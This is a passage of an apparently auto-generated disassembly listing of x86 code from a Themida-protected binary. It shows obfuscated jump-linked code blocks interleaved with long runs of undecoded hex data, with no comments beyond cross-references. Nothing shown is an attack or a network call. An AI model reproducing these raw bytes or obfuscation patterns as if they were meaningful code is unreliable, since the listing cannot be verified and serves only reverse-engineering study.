dd 29FFFF73h, 0E9515FFEh, 0FFFF8C5Eh, 28B6664h, 0FFF196E9h db 0FFh ; --------------------------------------------------------------------------- loc_507D15: ; CODE XREF: Themida_:00502727j add ebp, 55041EBCh dec ebp not ebp push esi mov esi, 48FFD527h xor ebp, esi pop esi xor [eax], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_4FF0C1 ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E3895324h, 4C381h, 0C3830000h, 0FF0AE904h, 0C329FFFFh dd 0D237E958h, 0C281FFFFh, 632D4D29h, 0FF7A9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_507D65: ; CODE XREF: Themida_:00504B75j add esi, 1 jmp loc_4FFA80 ; --------------------------------------------------------------------------- db 1, 0C8h, 0E9h dd 0FFFFA552h, 896BEFBAh, 99BF572Ch, 0E93B5E4Ah, 0FFFFF22Dh ; --------------------------------------------------------------------------- loc_507D84: ; CODE XREF: Themida_:00501106j shr ecx, 7 push dword ptr [edi+1Ch] xor dword ptr [esp], 4F446FC9h jmp loc_50397F ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 0E39AE904h, 966FFFFh, 0A872E9F7h, 38BAFFFFh dd 1000000h, 5A2A88FAh, 7307E959h, 8B66FFFFh, 89522404h dd 4BF57E2h, 1000000h, 51575FFAh, 3940A8B9h, 0FBBA520Ah dd 81756629h, 0EA6222F2h, 24BAE942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507DE2: ; CODE XREF: Themida_:00507BE9j shr ebp, 2 add ebp, 0D17EFDC6h mov edi, ebp pop ebp mov eax, 0F6D2F107h jmp loc_503A92 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 80E9EE01h, 8BFFFF94h, 0C4E92414h, 81000026h dd 4C7h, 4BE5600h, 29000000h, 77C3E9F7h, 0C181FFFFh, 7970649Ch dd 0FF8C6DE9h, 4FE95BFFh, 28000025h, 536658E7h, 0F89E9h db 0 ; --------------------------------------------------------------------------- loc_507E3D: ; CODE XREF: Themida_:004FFF7Ej mov ecx, 5A0E05CBh jmp loc_5032E5 ; --------------------------------------------------------------------------- db 53h dd 5B240CFFh, 0FFB613E9h, 0AB685AFFh, 89000043h, 30BF243Ch dd 0C10E7D36h, 0C78106E7h, 4722B33h, 6779CF81h, 0EF831821h dd 73EF81FFh, 314D45EDh, 2434FFFAh, 81243C8Bh, 4C4h, 4C48100h dd 0B000000h, 39840FC9h, 68FFFFE7h, 7EF0h, 24048F54h, 40BE5650h dd 0E9669F35h, 0FFFF9C08h, 0FF7214E9h, 8BEA89FFh, 0C483242Ch dd 814BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507EBA: ; CODE XREF: Themida_:0050700Aj add ebx, 4 sub esp, 4 jmp loc_502122 ; --------------------------------------------------------------------------- dd 5D04F800h, 0FFB644E9h, 0E6E950FFh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507ED7: ; CODE XREF: Themida_:005093BBj add eax, 7CE44D9Fh push dword ptr [esp] pop edx add esp, 4 neg eax sub esp, 4 mov [esp], ebp mov ebp, 2D986D7Ah sub ebp, 0D5E6AB1h jmp loc_505691 ; --------------------------------------------------------------------------- db 5Bh, 53h, 0BBh dd 0BBB2FA5h, 0FFC703E9h, 37ED80FFh, 5259E828h, 0E2C0DCB2h dd 80D2F606h, 91E90BC2h, 0BAFFFF90h, 6ED101C4h, 89EA814Ah dd 0E90BB1C3h, 0FFFFBC66h ; --------------------------------------------------------------------------- loc_507F34: ; CODE XREF: Themida_:005034F5j mov [esp], ebx jmp loc_503569 ; --------------------------------------------------------------------------- dd 0B9240C89h, 52A1292Eh, 0FFB896E9h, 4C483FFh, 0C281C201h dd 782104BFh, 0FF7168E9h db 0FFh ; --------------------------------------------------------------------------- loc_507F59: ; CODE XREF: Themida_:005081DEj pop ebp shl eax, cl push edi mov edi, 94B2E40h jmp loc_5049F3 ; --------------------------------------------------------------------------- loc_507F67: ; CODE XREF: Themida_:00507070j mov ecx, 65622F15h add ecx, 0A933654h or ecx, 157740B3h sub ecx, 1 jmp loc_508BD4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF7139h, 9262DA68h, 240C8B78h, 4C481h, 0E1C10000h dd 9DE98106h, 8165FD60h, 0BE7721E1h, 25F18145h, 89049A55h dd 0FA0159CFh, 81243C8Bh, 4C4h, 2D47E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507FBE: ; CODE XREF: Themida_:00501B64j not ebx jmp loc_4FF315 ; --------------------------------------------------------------------------- loc_507FC5: ; CODE XREF: Themida_:00508684j add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_4FFBB2 ; --------------------------------------------------------------------------- loc_507FDC: ; CODE XREF: Themida_:0050207Aj inc eax add eax, 4FF54E01h shr eax, 1 xor eax, 31E573EFh sub eax, 8B0B0DDh add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] jmp loc_50A233 ; --------------------------------------------------------------------------- loc_507FFC: ; CODE XREF: Themida_:005089EBj add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] sub dword ptr [esp], 7CE35FC5h pop eax jmp loc_505B77 ; --------------------------------------------------------------------------- db 0B1h dd 0A2B353CCh, 10E9D920h, 0B400002Ch, 7E4C064h, 88EBF480h dd 0CD8058E5h, 0EAE58007h, 8849F580h, 2506E9EAh, 81580000h dd 2EFh, 74FF5700h, 8F5F0424h, 248B2404h, 0C896624h, 0B60F6624h dd 31BFE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508062: ; CODE XREF: Themida_:00504F62j pop esp inc edi sub esp, 4 jmp loc_506893 ; --------------------------------------------------------------------------- db 68h dd 6E9F4B83h, 53F26859h, 34890000h, 900BE24h, 7CE949B9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_508087: ; CODE XREF: Themida_:0050A6A4j mov ecx, 58A35C92h and ecx, 21003FC3h inc ecx add ecx, 432F10D1h jmp loc_502685 ; --------------------------------------------------------------------------- loc_50809E: ; CODE XREF: Themida_:0050571Aj add esp, 4 add edi, 4 push edx mov edx, 4 jmp loc_5030A2 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 0FFDCD5E9h, 0F8EA81FFh, 148A76Bh, 0F8C281DAh dd 8148A76Bh, 5F3DB8EAh, 241C8B31h, 53E28952h, 4BBh, 5BDA0100h dd 0E904C283h, 0FFFF8434h, 3C8BF831h, 5A545224h, 0FFBEBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5080F5: ; CODE XREF: Themida_:004FFDC1j push ecx push ebx sub dword ptr [esp], 2A1D2D83h jmp loc_502FE9 ; --------------------------------------------------------------------------- db 81h dd 0FD0EC1F6h, 5EF1016Dh, 4FEFE181h, 0C9813547h, 6F540F77h dd 0EB7F181h, 0CE895E6Bh, 0C4F68159h, 1213C41h, 8E4BE9F3h dd 1489FFFFh, 0E9E28924h, 0FFFFFB03h, 0BF57E389h, 4, 2A3CC381h dd 0FB013450h, 2A3CEB81h, 89E93450h, 81FFFF8Ch, 0BB51A4C7h dd 2434FF29h, 5A2434FFh, 188BE9h, 240C8700h, 8124248Bh dd 2C1h, 240C3300h, 826E9h, 5E08900h, 4, 42Dh, 24048700h dd 0CD50E95Ch, 3C8BFFFFh, 4C48124h, 50000000h, 0FAE95854h dd 89FFFFDDh, 2B82404h, 1000000h, 24048BC7h, 0FFC074E9h dd 245C01FFh, 0C7E95704h, 0B2000023h, 0E9D7886Eh, 0FFFFFC43h dd 33E9E921h, 89000010h, 0C5B1E9E1h, 1CF6FFFFh, 0E6E99C24h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5081DB: ; CODE XREF: Themida_:00502259j add eax, edi pop edi jmp loc_507F59 ; --------------------------------------------------------------------------- db 5Dh dd 364BED81h, 0EC8305F7h, 24048904h, 2932E9h db 0 ; --------------------------------------------------------------------------- loc_5081F5: ; CODE XREF: Themida_:00504979j pop edi and eax, edx push dword ptr [esp] jmp loc_501C63 ; --------------------------------------------------------------------------- dd 0EF2AB850h, 0C50144FDh, 3E3F6858h, 0DFE90000h, 29FFFFEEh dd 570959CAh, 24148B1Ch, 593768h, 24048900h, 0B951E089h dd 4, 0A1E9C801h, 0BDFFFFDAh, 4, 0FFB156E9h, 24048BFFh dd 4EC81h, 1C890000h, 2D72E924h, 48F0000h, 8B665C24h, 0B9682404h dd 8900000Dh, 0E789243Ch, 4BE56h, 0F7010000h, 0C6E9565Eh dd 28FFFFD8h, 0B75359C8h, 88516661h, 0DCA8E9FDh, 34FFFFFFh dd 8D7CE924h, 0E689FFFFh, 4C681h, 3BE90000h, 81000014h dd 4ECh, 15E3E900h, 58660000h, 5BF828h, 5B5304F8h, 52515251h dd 76B142B6h, 0FFE2D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5082B5: ; CODE XREF: Themida_:0050A8AFj mov esi, ebp jmp loc_509054 ; --------------------------------------------------------------------------- dd 0F86107BDh, 0A907E95Eh, 0EF81FFFFh, 0BA70509h, 3C8BF889h dd 0E3895324h, 4C381h, 0C3810000h, 4, 89DFE953h, 0D6E9FFFFh dd 88FFFF6Dh, 0C05966EFh, 1BE902E7h, 8B000008h, 0F9E9243Ch dd 0C0FFFFE7h, 0EB8008E3h, 1E35E92Fh, 28F0000h, 0FF6DB0E9h dd 6FF780FFh, 805BFC28h, 63E9BDF4h, 55FFFFE5h, 3B78C5BDh dd 5DE82931h, 592434FFh, 2633E952h, 0F3800000h, 5BD988D2h dd 66D1B551h, 2828B252h, 505A66D5h, 0B353A2B4h, 0E9D3F6C0h dd 0FFFFAAF2h, 11685854h, 89000044h, 4BA2414h, 5000000h dd 2C9E03FFh, 0FF2DD001h, 8B2C9E03h, 89522414h, 0BD14E9E2h dd 0BF57FFFFh, 377D0576h, 555FF989h, 840F3FBDh, 6EDC14Dh dd 0C103EDC1h, 0C58103EDh, 28C45BC0h, 0FFFE2BE9h, 34FF5DFFh dd 0F567E924h, 0EE29FFFFh, 7604BF57h, 0EF816558h, 27627CC6h dd 454AC781h, 70E913A4h, 66FFFF97h, 8124048Bh, 4ECh, 24048900h dd 0E9555854h, 11D4h ; --------------------------------------------------------------------------- loc_5083D0: ; CODE XREF: Themida_:00508609j add ebp, 50D3D02h shl ebp, 7 jmp loc_50372B ; --------------------------------------------------------------------------- dw 8159h dd 4C6h, 24343300h, 0E9243431h, 0FFFFA3F2h, 0F30E581h dd 0BB53531Fh, 0ECF5F8D2h, 0FFBFF8E9h, 242489FFh, 4240481h dd 5A000000h, 0FFB304E9h, 240489FFh, 2E5FE9h, 0A04EB900h dd 0D929C06Ah, 0FF7FFCE9h, 4EC81FFh, 54000000h, 0FF8616E9h db 0FFh ; --------------------------------------------------------------------------- loc_508431: ; CODE XREF: Themida_:00506CA7j or edx, eax jmp loc_50A949 ; --------------------------------------------------------------------------- dd 0C781475Ah, 0FFFBE9DFh, 0FFCBF7E9h, 0B4BA52FFh, 8322E322h dd 0D2F701C2h, 0C105E2C1h, 0C28106E2h, 1915B004h, 835AD701h dd 3C8704C7h, 45E95C24h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50846B: ; CODE XREF: Themida_:00507710j pop ecx jmp loc_509F66 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 0E9000000h, 0FFFF79BBh, 3B5B6852h, 76E90000h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_50848B: ; CODE XREF: Themida_:00503B1Cj or ebx, 770D7C20h xor ebx, 77E97FF4h push ebx jmp loc_5086F8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0FFFFACDFh, 0E9243489h, 0FFFFC929h, 405E089h dd 83000000h, 48704E8h, 4EE95C24h, 8FFFFFFFh, 895C2404h dd 0B0B1240Ch, 0FFFD9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5084D1: ; CODE XREF: Themida_:00507024j mov edx, 59D3E9Ch xor edx, edi mov edi, [esp] jmp loc_506376 ; --------------------------------------------------------------------------- dd 8B240C87h, 34FF2424h, 2434FF24h, 0FF86B2E9h, 0F665AFFh dd 686600B6h, 89663109h, 1DE92404h, 0FFFFFEAh, 57E9C8B6h dd 55FFFFCCh, 4B388CBDh, 65CD817Ah, 0E94FE533h, 0FFFF9D4Fh dd 31241433h, 0BCE92414h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508527: ; CODE XREF: Themida_:005091A2j shl edx, 1 push 5113h mov [esp], ecx push edi mov edi, 71173500h mov ecx, 34C04731h jmp loc_503804 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 15h dd 5700001Bh, 0FFB21CE9h, 241C87FFh, 0FF73E9E9h, 0C8B66FFh dd 0B22CE924h, 525AFFFFh, 95EFE950h, 0E95CFFFFh, 0FFFF92ACh dd 4EC81h, 0C890000h, 200B924h, 0C8210000h, 0E92434FFh dd 0FFFFA2E7h, 0FC88D788h, 0FFA8BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_50858D: ; CODE XREF: Themida_:005063B2j sub esp, 4 mov [esp], ecx jmp loc_50697F ; --------------------------------------------------------------------------- dd 71E8E981h, 0C889EE24h, 2D312559h, 0C4E90447h, 1FFFFE0h dd 0DBC681D6h, 8146526Ch, 766C35C6h, 0C4B9E959h, 0E95AFFFFh dd 1718h, 244C015Dh, 0A30AE904h, 8B66FFFFh, 15682404h dd 89000014h, 0E789243Ch, 0FFDF7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5085E1: ; CODE XREF: Themida_:00501695j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop edi push edx jmp loc_504965 ; --------------------------------------------------------------------------- loc_5085F7: ; CODE XREF: Themida_:004FF8F3j xor ebp, edx mov edx, [esp] add esp, 4 push ecx push ebp mov ebp, 528C087Ah jmp loc_5083D0 ; --------------------------------------------------------------------------- dw 0DF29h dd 0F8BA525Bh, 55789D20h, 78B6BB53h, 0F3812B0Dh, 66A347D5h dd 1C8BDD89h, 4C48324h, 815DEA29h, 0DA2314CAh, 59F28175h dd 81249E37h, 354CFDEFh, 1259E97Dh, 34FF0000h, 2434FF24h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_505189 ; --------------------------------------------------------------------------- loc_508655: ; CODE XREF: Themida_:00508A88j push ebp mov ebp, 48110E9Fh mov edx, 0B7EEF961h jmp loc_5027C4 ; --------------------------------------------------------------------------- loc_508665: ; CODE XREF: Themida_:00507678j push dword ptr [esp] pop ecx add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or eax, eax jz loc_508E85 push edx mov edx, esp jmp loc_507FC5 ; --------------------------------------------------------------------------- loc_508689: ; CODE XREF: Themida_:00502AE4j mov [esp], ebp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], edi mov edi, 26AB7C24h push ebx mov ebx, 7A0402FCh or edi, ebx pop ebx jmp loc_507B1B ; --------------------------------------------------------------------------- db 2Ch, 32h, 66h dd 66A52C59h, 84B7E95Bh, 0C330FFFFh, 0E9C0B60Fh, 0FFFFD3E5h ; --------------------------------------------------------------------------- loc_5086C8: ; CODE XREF: Themida_:00504337j shr esi, 8 or esi, 11B1A3Dh xchg ebx, esi jmp loc_50622D ; --------------------------------------------------------------------------- dd 75BE564Fh, 922C708h, 24348BF7h, 4C481h, 0B9510000h dd 1436C13h, 0E949D9F7h, 1216h ; --------------------------------------------------------------------------- loc_5086F8: ; CODE XREF: Themida_:00508498j pop edi mov ebx, [esp] push ecx jmp loc_501B85 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 0FF5002C0h, 0E9042474h, 0FFFFF3C9h, 56241C89h dd 0FF6B23E9h, 48B66FFh, 0E6895624h, 4C681h, 0B9510000h dd 4, 8BE9CE29h, 0BEFFFF6Ah, 8C02FB4h, 0F681D6F7h, 0EA8A81AFh dd 37E9F589h, 81000024h, 0A6517C3h, 886E952h, 0C2810000h dd 6C076EEh, 81241C8Bh, 4C4h, 6E62E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50876A: ; CODE XREF: Themida_:0050A8C9j mov eax, [esp] jmp loc_507CC4 ; --------------------------------------------------------------------------- dw 0D001h dd 89BA525Ah, 817B346Fh, 0CB907BC2h, 7B95184h, 0C117B36Eh dd 0C98107E1h, 1EC670B3h, 0FFB783E9h, 0E38953FFh, 0FBD8E951h dd 0FB01FFFFh, 5BDD895Fh, 5259CD31h, 73796DBAh, 0E9D60159h dd 0FFFFF0B6h, 24048B66h, 4EC81h, 3C890000h, 685F5424h dd 9DAh, 0BD242C89h, 0D750505h, 0E906EDC1h, 0FFFFD894h dd 65FAE981h, 0B9E933EBh, 66000027h, 0AE9F029h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5087EB: ; CODE XREF: Themida_:00505B82j push eax sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx mov edx, [esp] add esp, 4 pop eax add eax, 4 push edi jmp loc_50527C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E6895624h, 81E78957h, 4C7h, 4EF8300h, 0E9243C87h, 0FFFFC954h ; --------------------------------------------------------------------------- loc_50882C: ; CODE XREF: Themida_:00501C78j add eax, esi pop esi add eax, 4FAE4094h sub eax, esi sub eax, 4FAE4094h push edi mov edi, 58D57C01h sub eax, edi mov edi, [esp] jmp loc_502E5F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6871h ; --------------------------------------------------------------------------- loc_508850: ; CODE XREF: Themida_:00506FACj mov edi, 798B2F39h xor edi, 798B2F3Dh add eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] push 3413h mov [esp], eax push ecx push 55E4362Eh mov ecx, [esp] jmp loc_50419A ; --------------------------------------------------------------------------- dw 0BE56h dd 66AE35DFh, 0D6F7DEF7h, 0FF963BE9h, 1F1668FFh, 4890000h dd 8004B424h, 0C4FEC8C4h, 0CC80CCFEh, 0BDF480B4h, 0E2885251h dd 42E9D588h, 59FFFFF1h, 0A5BE9h, 0C4E95800h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5088BF: ; CODE XREF: Themida_:00507653j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 18DEh mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, 8000h push 5501h jmp loc_50ADC2 ; --------------------------------------------------------------------------- dw 8852h dd 5AD788EAh, 4EC8159h, 89000000h, 0B82404h, 1000000h dd 583888D0h, 0E92434FFh, 0FFFF9B81h, 4240483h, 4BB5359h dd 1000000h, 241C8BD9h, 0E904C483h, 0FFFF82C6h, 4C481h dd 0EB810000h, 79E00E6Ah, 0FF932CE9h, 240C89FFh, 0C181E189h dd 4, 8704E983h, 0E95C240Ch, 0FFFFF84Bh, 0BA241489h, 1AC06F93h dd 33FDBF57h, 0FA295FD6h, 0FFE166E9h, 4C281FFh, 81000000h dd 4EAh, 24148700h, 8924248Bh, 5F52243Ch, 8B5FFB89h, 0C4832414h dd 6A60E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50898E: ; CODE XREF: Themida_:00505008j push ecx jmp loc_509ACC ; --------------------------------------------------------------------------- dd 0FF6728E9h, 8AE95BFFh, 31FFFF8Eh, 0C33240Ch, 0F665C24h dd 9C2404B3h, 0FF6710E9h, 240C87FFh, 243C895Ch, 2309D4BFh dd 7EFC126h, 0D6F7F787h, 0FF8589E9h, 4C483FFh, 4C481h dd 0EC830000h, 242C8904h, 55EE9h db 0 ; --------------------------------------------------------------------------- loc_5089DD: ; CODE XREF: Themida_:00504AFFj sub edi, ecx pop ecx add edi, ebx add edi, 7F9106ACh mov ebx, [esp] jmp loc_507FFC ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 5204C283h, 42474FFh, 0FFE056E9h, 81E389FFh dd 4C3h, 4C38100h, 87000000h, 0C35C241Ch, 0FF66A4E9h, 5FF801FFh dd 252B68h, 24148900h, 57BF71BAh, 0FFD0317Ch, 37E92434h dd 89FFFF88h, 0E954241Ch, 27Fh, 241C895Ch, 70D6BE56h, 0D6F76691h dd 43D1BB53h, 0CB816D82h, 116A7F2Ch, 6531CB81h, 0E94310B2h dd 0FFFFC640h ; --------------------------------------------------------------------------- loc_508A64: ; CODE XREF: Themida_:0050729Bj add esp, 4 add edx, 4 push 0BDFh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 62FAh mov [esp], edx jmp loc_508655 ; --------------------------------------------------------------------------- db 54h, 5Dh, 57h dd 0FF93FDE9h, 0E9D2F7FFh, 0FFFFC1EBh ; --------------------------------------------------------------------------- loc_508A9C: ; CODE XREF: Themida_:00507749j add ebp, ebx jmp loc_5022B3 ; --------------------------------------------------------------------------- db 29h dd 24148BD3h, 104C483h, 675CE9DEh, 0AE9FFFFh db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508AB7: ; CODE XREF: Themida_:00509ED5j mov esi, [esp] add esp, 4 shr eax, 5 dec eax sub eax, 48E3747h jmp loc_504EB4 ; --------------------------------------------------------------------------- loc_508ACE: ; CODE XREF: Themida_:00504C44j add esp, 4 push edx jmp loc_501ED7 ; --------------------------------------------------------------------------- loc_508AD7: ; CODE XREF: Themida_:004FFC3Ej pop ebp add esp, 4 pop esi add ebx, edi pop edi sub ebx, 64B6307h add ebx, eax add ebx, 64B6307h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_500211 ; --------------------------------------------------------------------------- dd 8247401h, 264BE95Eh, 0EF800000h, 0B1EF8001h, 3A2C0004h dd 3A04F828h, 535B002Ch, 511A68h, 240C8900h, 0E9D5B753h dd 0FFFF8086h, 24042966h, 0F7A8E99Ch, 0F828FFFFh, 8B663B04h dd 8953241Ch, 3FB951E3h, 0F7436611h, 81D1F7D1h, 0D5255AC9h dd 23C18150h, 81754128h, 385D9EE9h, 156CE9C9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508B6A: ; CODE XREF: Themida_:00504282j xchg esi, [esp] jmp loc_509AE4 ; --------------------------------------------------------------------------- dw 0C981h dd 814712Ch, 84ACC181h, 0D7E9E7AAh, 53FFFF97h, 0FF67B7E9h dd 24048BFFh, 4C481h, 582C0000h, 274E9h, 59545100h, 4C181h dd 2BE90000h, 4D000021h, 0C105EDC1h, 0ED8107EDh, 2774472Dh dd 306FE581h, 0F5810B09h, 801006Ah, 2380EB81h, 0EB013881h dd 2380C381h, 0E95D3881h, 0FFFF7ABEh ; --------------------------------------------------------------------------- loc_508BD4: ; CODE XREF: Themida_:00507F7Ej add ecx, 3D5C3431h add ecx, 71AF35BFh sub ecx, 2F02CFE6h jmp loc_509CB1 ; --------------------------------------------------------------------------- db 81h dd 9F753FEBh, 0EB815F72h, 0C180E81h, 0B60F66h, 2B3A6866h dd 24048966h, 0FF64B8E9h, 240487FFh, 0E924248Bh, 0FFFF64ADh ; --------------------------------------------------------------------------- loc_508C14: ; CODE XREF: Themida_:005042F9j add esp, 4 jmp loc_500BE8 ; --------------------------------------------------------------------------- dd 0B87FE95Fh, 0E829FFFFh, 2404875Dh, 0C82E9h, 0C7815B00h dd 14DD264Ah, 5134E781h, 0C7836296h, 0BE950FFh, 5BFFFFECh dd 241C8B66h, 81E78957h, 4C7h, 2C78100h, 0E9000000h, 0FFFF88FAh dd 8247401h, 0A3AE9h, 2434FF00h, 0E289525Dh, 4C281h, 9E90000h dd 0FFFF83h, 0E99C2404h, 0FFFF6441h, 0E92C77FFh, 0FFFF6439h ; --------------------------------------------------------------------------- loc_508C88: ; CODE XREF: Themida_:00509C05j mov ebp, [esp] add esp, 4 jmp loc_504369 ; --------------------------------------------------------------------------- db 66h dd 4C97EB81h, 66FB2966h, 4C97C381h, 0FF74D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_508CA5: ; CODE XREF: Themida_:00506C17j pop esp mov [esp], ecx mov ch, 7Bh xchg ah, ch not ah jmp loc_5027A4 ; --------------------------------------------------------------------------- dd 6D345A66h, 0CAE9C530h, 5BFFFFFEh, 8587E950h, 0B72CFFFFh dd 5308E0C0h, 0C78030B7h, 80CFFE94h, 8EE982F7h, 0BAFFFFCCh dd 10C5A14h, 98F2814Ah, 89182A56h, 0B8505AD7h, 43607987h dd 4758C709h, 8103E7C1h, 0E10860F7h, 0ADBCE94Eh, 34FFFFFFh dd 0A389E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508D0A: ; CODE XREF: Themida_:00506A42j pop eax pop dword ptr [esp] mov esp, [esp] shr eax, 18h xor eax, ecx xchg eax, edi xchg eax, edi jmp loc_500CB4 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 4EF8300h, 5C243C87h, 0E9243489h, 0FFFFC97Eh ; --------------------------------------------------------------------------- loc_508D34: ; CODE XREF: Themida_:00503AF6j xor esi, 464A41BEh or esi, 0C9A433Dh shr esi, 8 add esi, 15C59A9Bh add edx, esi pop esi jmp loc_507090 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0E9h dd 14F0A61h, 0E9B850CFh, 14F0A61h, 2CE958C7h, 8100000Ch dd 0A0972C6h, 37EE8165h, 0E961B127h, 19EBh ; --------------------------------------------------------------------------- loc_508D78: ; CODE XREF: Themida_:00507551j sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], eax jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 0BAh dd 3BA51D02h, 4A08EAC1h, 7514E281h, 0D2F7534Bh, 0A132F281h dd 0D629D0ADh, 0FFB38FE9h, 41CAB9FFh, 0C8012138h, 3AE95659h dd 81000008h, 4C2h, 23DEE900h, 3AB70000h, 5B66F800h, 86E9F828h dd 89FFFF6Ah, 0BECE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508DDA: ; CODE XREF: Themida_:00503228j sub ebp, edi jmp loc_50ADA4 ; --------------------------------------------------------------------------- db 0BAh, 8Fh, 24h dd 0C1420B97h, 0EAC104EAh, 0EAC14A04h, 0C6EA8108h, 81CBFBF4h dd 0C33042EBh, 81D30149h, 0C33042C3h, 24148B49h, 0FF7DD0E9h dd 4E800FFh, 240C8B58h, 8104C483h, 4ECh, 24148900h, 0DDE953B6h dd 66FFFF63h, 662414F7h, 677FE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508E32: ; CODE XREF: Themida_:0050A22Ej neg edi push 592h mov [esp], eax mov eax, 6D3B635Bh sub edi, eax mov eax, [esp] sub esp, 4 mov [esp], edx jmp loc_5007D0 ; --------------------------------------------------------------------------- dd 295BDD89h, 0C8295DE8h, 5637D605h, 240C8B4Ah, 0FFB382E9h dd 0E9555BFFh, 0FFFFB830h ; --------------------------------------------------------------------------- loc_508E70: ; CODE XREF: Themida_:005017B1j sub edx, 7854512Eh add dword ptr [edx], 1 mov edx, [esp] add esp, 4 loc_508E85: ; CODE XREF: Themida_:0050867Bj push 3A7Fh mov [esp], ebx push eax push ebp jmp loc_501771 ; --------------------------------------------------------------------------- dd 8B66D828h, 8355241Ch, 248904ECh, 24048324h, 0C5815D04h dd 4, 0FFE6B2E9h, 2DD0F7FFh, 0CF988E9Fh, 0FFBF06E9h, 895058FFh dd 405E0h, 0BD550000h, 4, 0FF6DDBE9h, 0E95158FFh, 0FFFF6C15h dd 30E9E681h, 0EE811A0Bh, 751643A2h, 437EC681h, 0ACE95D15h dd 68FFFF77h, 6B6Bh, 52242C89h, 0FC193FBAh, 0E9DAF751h dd 0FFFFDC1Ch, 2414875Bh, 0FFAD94E9h, 0E0F681FFh, 89CF85CAh dd 0F6B95EF3h, 315E984Ch, 0FA77E9D9h, 24D3FFFFh, 66CE924h dd 67B80000h, 0E95E6443h, 0FFFF6266h, 1BE95854h, 54FFFFAFh dd 4C5815Dh, 52000000h, 0FF80FAE9h, 24248BFFh, 6CCE956h dd 1C8B0000h, 0E1895124h, 6E5DBD55h, 0F5813991h, 39916E59h dd 5F44E981h, 0E9011979h, 5F44C181h, 835D1979h, 0C8704C1h dd 0C8E924h, 0F2810000h, 6E5436EDh, 912E252Dh, 0E9D00152h dd 0FFFFF8F2h ; --------------------------------------------------------------------------- loc_508F90: ; CODE XREF: Themida_:00509E5Bj push esi jmp loc_505F13 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFB03Eh, 8704C183h, 0E95C240Ch, 0FFFF72C4h ; --------------------------------------------------------------------------- loc_508FA8: ; CODE XREF: Themida_:00506C6Fj mov [esp], esi jmp loc_502804 ; --------------------------------------------------------------------------- aQsb db 'QB',0Ah,0 align 2 dw 0E959h dd 107Bh, 0B60F6664h, 24686602h, 90E3E926h, 0F389FFFFh dd 0B0E94B5Eh, 0FFFFFF9Ch, 0E9592434h, 0FFFFB944h db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_501246 ; --------------------------------------------------------------------------- dw 505Bh dd 42474FFh, 24048F58h, 94D1E95Ch, 489FFFFh, 0BE77E924h dd 0A6E9FFFFh, 1FFFF60h, 0EB815AD3h, 763859DDh, 96E9C231h dd 83FFFF60h, 82E904C4h, 81FFFF89h, 4C4h, 0E2895200h, 4A268h dd 6D35E900h, 248BFFFFh, 2C28124h, 0E9000000h, 305h ; --------------------------------------------------------------------------- loc_509054: ; CODE XREF: 